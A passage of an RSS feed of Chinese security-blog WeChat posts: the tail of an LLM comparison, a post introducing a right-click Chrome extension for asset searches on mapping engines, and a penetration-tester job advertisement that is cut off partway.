10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_13-08-48" class="rich_pages wxw-img" data-imgfileid="100002133" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=364163d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnydRk5IxwiaicFOTR9tP6XX7jMJcVezv029Eic3mVAP7w2DoB4d2cATISg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_13-09-05" class="rich_pages wxw-img" data-imgfileid="100002135" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=16225c6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnrMQ0Kia5HoJV9IrcSjAO7xvel6mxYibO1ebqcJrc1icNet2RfUb1tEFnw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">消耗token:438895,不及格</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">结论</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">在这个测试案例中</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">MiniMax-M2 解耦和略好于 DeepSeek</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">GLM、qwen不及格</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">低频使用推荐使用DeepSeek，每次1-5毛钱</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">高频使用推荐MiniMax-M2 开发者计划 ¥29 /月 ¥290 /年</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=65e4bc29&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485786%26idx%3D1%26sn%3D473504c49c301f74aa2c229027ac91ad">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Dec 2025 14:03:00 +0800</pubDate>
    </item>
    <item>
      <title>QuickSearch-chrome右键快速搜索插件</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485744&amp;idx=1&amp;sn=c37f988923d265ad36e3b3aac11ccf9a</link>
      <description>QuickSearch-chrome右键快速搜索插件</description>
      <content:encoded><![CDATA[<p>
原创 <span>k</span> <span>2025-11-24 11:29</span> <span style="display: inline-block;">广东</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=698fd69a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1dMaiauuEOtib8CSqiaiaDicaTUiaGq6LeG4dYrjibyxxIZGvOY81wiaAv0TZfvCgibDmmrMb9sWvgHvib5AfHA%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>QuickSearch-chrome右键快速搜索插件</p>

<p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-pm-slice="0 0 []"><span leaf="">QuickSearch是我开发的一款chrome插件，用于在chrome浏览器中使用右键快速进行资产搜索</span></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">1.</span></span><span leaf="">右键选中文本后，可右键打开对应的测绘引擎的搜索界面，可快速进行title和body搜索</span></span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-11-24_11-18-31" class="rich_pages wxw-img" data-imgfileid="100002089" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f030912d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dMaiauuEOtib8CSqiaiaDicaTUia5gzrfiaIX3WSFxQEicS32nSw88uUWRso8ZrBJucTSC47vjicq42dKCvicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">1.</span></span><span leaf="">快速搜索某个host的下的同ip网站</span></span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">例如当选中</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf=""><a href="https://cloudflare.com" target="_blank">https://cloudflare.com</a></span></code><span leaf="">以后点击</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ip:<a href="https://cloudflare.com" target="_blank">https://cloudflare.com</a></span></code><span leaf="">进行搜索的话会自动将域名转换为ip后再进行搜索，避免需要先ping获取到ip地址然后再进行搜索。</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-11-24_11-20-28" class="rich_pages wxw-img" data-imgfileid="100002092" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=75ce0989&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dMaiauuEOtib8CSqiaiaDicaTUiayoS8bxibgcYgIlPa4yVGNO0t5BkaibjBic1XeBKLeLypWiaGBxx2XvUqVA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-11-24_11-22-06" class="rich_pages wxw-img" data-imgfileid="100002090" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ad8fbae5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dMaiauuEOtib8CSqiaiaDicaTUia8Ata3BT5gkboET2trLYtmbZf7nnbzmXogrnPPnQpR4v6Ob2zup3HqA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">1.</span></span><span leaf="">快速进行同ip网站搜索</span></span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">如果不选中任何文本直接右键，点击对应的搜索引擎会直接搜索当tab的对应的同ip的资产</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-11-24_11-23-05" class="rich_pages wxw-img" data-imgfileid="100002091" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=63413dc4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dMaiauuEOtib8CSqiaiaDicaTUiaAjjZviaoN78jJicdkq7uW3aHNx2xfHmzrSJ8oPQNQND34ozY5ASKAzwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">插件地址下载地址:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf=""><a href="https://chromewebstore.google.com/detail/quicksearch/emeffeofkinigfdeageidahgnkbcdohi?hl=zh-CN&amp;utm_source=ext_sidebar" target="_blank">https://chromewebstore.google.com/detail/quicksearch/emeffeofkinigfdeageidahgnkbcdohi?hl=zh-CN&amp;utm_source=ext_sidebar</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247485744">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e201308f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485744%26idx%3D1%26sn%3Dc37f988923d265ad36e3b3aac11ccf9a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 24 Nov 2025 11:29:00 +0800</pubDate>
    </item>
    <item>
      <title>急聘渗透测试工程师（郑州绿盟）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485736&amp;idx=1&amp;sn=f27d430ad6b2b0865ec24fcaec9987c0</link>
      <description>急聘渗透测试工程师（郑州绿盟）</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-10-30 10:35</span> <span style="display: inline-block;">浙江</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=46e17972&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1etuC07DFtZQzJKqtpnOhqPzGeZG4OLzeiasZ0KtBw1lboOYqgBtcskZ6HUQxXC4k3ckibgSkORGiaFg%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>急聘渗透测试工程师（郑州绿盟）</p>

<h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;" data-pm-slice="0 0 []"><span leaf="">薪资待遇</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">10-15k</span></strong></p><hr style="box-sizing: border-box;margin: 0px;padding: 0px;font-family: &#34;PingFang SC&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border-style: solid;border-width: 1px 0px 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">职位详情</span></h3><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">工作职责</span></h3><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">1.</span></span><span leaf="">负责各类渗透测试、代码漏洞挖掘和分析、红蓝对抗、安全培训等工作。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">2.</span></span><span leaf="">在发生网络攻击或安全事件时，提供紧急响应服务，协助客户恢复系统并进行调查取证。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">3.</span></span><span leaf="">能够独立完成 Web、App 渗透测试和 Web 代码漏洞挖掘与分析。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, 